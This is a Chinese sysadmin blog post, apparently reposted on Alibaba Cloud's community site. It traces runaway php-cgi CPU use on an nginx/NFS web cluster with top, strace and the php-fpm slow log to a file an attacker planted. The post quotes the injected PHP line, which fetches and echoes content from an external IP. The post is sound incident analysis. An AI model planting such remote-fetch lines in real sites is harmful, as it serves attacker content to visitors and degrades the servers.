php-cgi佔用cpu100%的一次排障之旅

來源:互聯網
上載者:User

先說下我們網站的架構,由於目前網站訪問量不是很大,但是由於最近公司網站要推廣,所以將網站由單機切換成前端用nginx做負載平衡,帶動兩台web伺服器,所有網頁和靜態檔案都通過NFS共用調用,NFS服務裝在其中的一個web伺服器上,後端用mysql主從的方式,是很典型的架構。

 

切換成這個架構才2天,就收到nagios的警示,警示資訊顯示有一台web伺服器負載很高,於是通過SecureCRT登入到伺服器上,用top命令看了一下,發現有幾個php-cgi進程佔用了大量的CPU,如下:

13889 www       25   0  228m  14m 9344 S 100.4  0.1  14:51.22 php-cgi                                                                               

13882 www       25   0  227m  13m 9284 S 100.1  0.1  10:53.18 php-cgi                                                                                

13924 www       25   0  227m 9936 5732 S 100.1  0.1  23:20.80 php-cgi                                                                               

13927 www       25   0  226m 5228 2064 R 100.1  0.0  24:44.24 php-cgi                                                                               

13827 www       25   0  228m  15m  10m R 99.7  0.1  12:57.60 php-cgi                                                                                

13900 www       25   0  228m  19m  13m R 99.7  0.1   9:03.09 php-cgi

由上面的我們可以看出那幾個php-cgi進程不但佔用了大量的CPU,而且已耗用時間非常長,本來php-cgi接到一個請求運行很快的,怎麼這幾個運行那麼久還沒釋放?於是採用命令ls -l /proc/13827/fd/查看這個長時間的進程到底在幹什麼事情,結果如下:

lrwx------ 1 www www 64 Dec 11 12:03 0 -> socket:[68444030]

l-wx------ 1 www www 64 Dec 11 12:03 1 -> pipe:[68444057]

l-wx------ 1 www www 64 Dec 11 12:03 2 -> pipe:[68444058]

lrwx------ 1 www www 64 Dec 11 12:03 3 -> socket:[68468225]

lrwx------ 1 www www 64 Dec 11 12:03 4 -> socket:[68469788]

lrwx------ 1 www www 64 Dec 11 12:03 5 -> socket:[68457928]

看到裡面沒有開啟檔案或者寫入檔案,這個進程沒幹什麼事情,比較奇怪,然後採用strace命令跟蹤下看看這個進程在做什麼東西呢?

strace -p 13827

poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout)

select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0})

poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout)

select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0})

poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout)

select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0})

poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout)

select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0})

poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout)

select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0})

poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout)

select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0})

poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout) …….

可以看出,這個進程不斷的逾時,到底為何會逾時呢???看來需要從php-cgi的日誌中尋找問題了,由於原來php-fpm.conf配置的逾時時間為0,也就是不設定逾時時間。於是先將php-fpm.conf的逾時時間設定成5s,然後超過5s的php-cgi的請求就會記錄到php的慢日誌中,設定如下:

      <value name="request_slowlog_timeout">3s</value>

      <value name="slowlog">logs/slow.log</value>

設定完成,利用命令/usr/local/php/sbin/php-fpm restart重啟php-fpm,過一會查看slow.log的內容發現很多如下內容:

script_filename = /data/htdocs/bbs.hrloo.com/apl.php
[0x00007fffb060fd70] file_get_contents() /data/htdocs/bbs.hrloo.com/apl.php:10

查看/data/htdocs/bbs.hrloo.com/apl.php第十行的內容如下:

echo file_get_contents('http://121.10.108.227:86/yh.asp');

網上查了一下發現了介紹php這個函數當裡面網址響應很慢的時候就會出現CPU佔用很高的情況,而且會一直卡住,不會逾時,再看看這個連結,訪問一下指向到了一個小說網站,是別人攻擊後嵌入的,將這個檔案還原後恢複正常。奇怪的是那個安裝NFS的web伺服器卻不會出現那個問題,看來是由於本來那個網站又慢,通過NFS調用就更慢了,因此出現了這個故障。感謝這次故障,才發現了這個嚴重的問題。

 

損毀修復了,但是問題還遠遠沒有解決,重點要找到檔案是如何被修改的,防止再出現類似的事故。看來下面還有很多事情要忙乎了。呵呵!

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.